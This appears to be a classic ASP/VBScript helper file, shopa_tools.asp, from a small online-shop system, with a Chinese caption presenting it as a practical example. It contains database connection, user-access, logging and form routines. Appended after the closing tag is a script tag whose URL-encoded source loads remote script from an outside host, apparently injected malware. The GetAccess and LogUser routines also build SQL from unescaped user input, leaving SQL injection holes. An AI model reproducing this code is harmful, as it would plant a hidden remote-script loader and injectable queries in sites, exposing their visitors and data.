shopa_tools.asp

vb的一个事例,简单了一点,但实用的一个电子超市系统

<%
'--- establish access connection
' Fix for login date 28/3/00
Sub OpenDB (ByRef con, d)
Dim strConn
Dim strpath
dim databasex
databasex= Session("db") & ".mdb"
if session("dblocation")<>"" then
   databasex = Session("dblocation") & "\" & databasex
end if
strconn = "DRIVER=Microsoft Access Driver (*.mdb);DBQ=" & Server.MapPath(databasex)
	Set con = Server.CreateObject("ADODB.Connection")
	con.Open strconn
End Sub

'--------
Function GetAccess(user, con)
	SQL = "SELECT * FROM tblUser WHERE fldUsername = '" & user & "'"
	Set objRec = con.Execute(SQL)
	GetAccess = objRec("fldAccess")
	objRec.Close
End Function

'-------
Sub ShopCheckAdmin
	If Session("ShopAdmin")="" Then
		response.redirect "shopadmin.asp"
	End If
End Sub

'--- login user activity
Sub LogUser(user,io, dbc)
on error resume next
	login = "INSERT INTO tblLog (fldUserName,fldTime,fldDate,fldInOut) VALUES('" & user & _
	"','" & Time & "','" & Date & "','" & io & "')"
	dbc.Execute(login)
End Sub


'--- Build Access control table for user
Sub BuildAccess(id)
temp = "SELECT * FROM tblAccess ORDER BY fldAuto"
Set objRec3 = con.Execute(temp)
While Not objRec3.EOF
	ba = "SELECT * FROM tblUser WHERE fldAuto = " & id
	Set objRec2 = con.Execute(ba)
	If Not objRec2.EOF Then
		If Instr(objRec2("fldAccess"),objRec3("fldAuto"))<>0 Then
			response.write "<input type=Checkbox name=Access value=" & objRec3("fldAuto") & " checked><font face=verdana size=2 color=navy>" & objRec3("fldName") & "</font><br>"
		Else
			response.write "<input type=Checkbox name=Access value=" & objRec3("fldAuto") & "><font face=verdana size=2 color=navy>" & objRec3("fldName") & "</font><br>"
		End If
	Else
		response.write "<input type=Checkbox name=Access value=" & objRec3("fldAuto") & "><font face=verdana size=2 color=navy>" & objRec3("fldName") & "</font><br>"
	End If
objRec3.MoveNext
Wend
End Sub

' --- convert access number into description
Function ConvertAccess(list)
	ac = Split(list,",")
	For each item in ac
		temp = "SELECT * FROM tblAccess WHERE fldAuto = " & cINT(item)
		Set objRec2 = con.Execute(temp)
		If Not objRec2.EOF Then
			name = name & objRec2("fldName") & ", "
		End If
	Next
	If name <> "" Then
		ConvertAccess = Left(name,Len(name)-2)
	End If
End Function

'--- InsertAP
Function InsertAP(n)
	If n <> "" Then
		If Instr(n,"'")<>0 Then
			InsertAP = Replace(n,"'","''")
		Else
			InsertAP = n
		End If
	End If
End Function
%>
<%
Sub SelectRefer()
	response.write "<SELECT NAME=REFER>"
	response.write "<OPTION VALUE=""Friends"">Friends"
	response.write "<OPTION VALUE=""Other Website"">Other Website"
	response.write "<OPTION VALUE=""Search Engine"">Search Engine"
	response.write "<OPTION VALUE=""Other"">Other"
	response.write "</SELECT>"

End Sub
%><script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>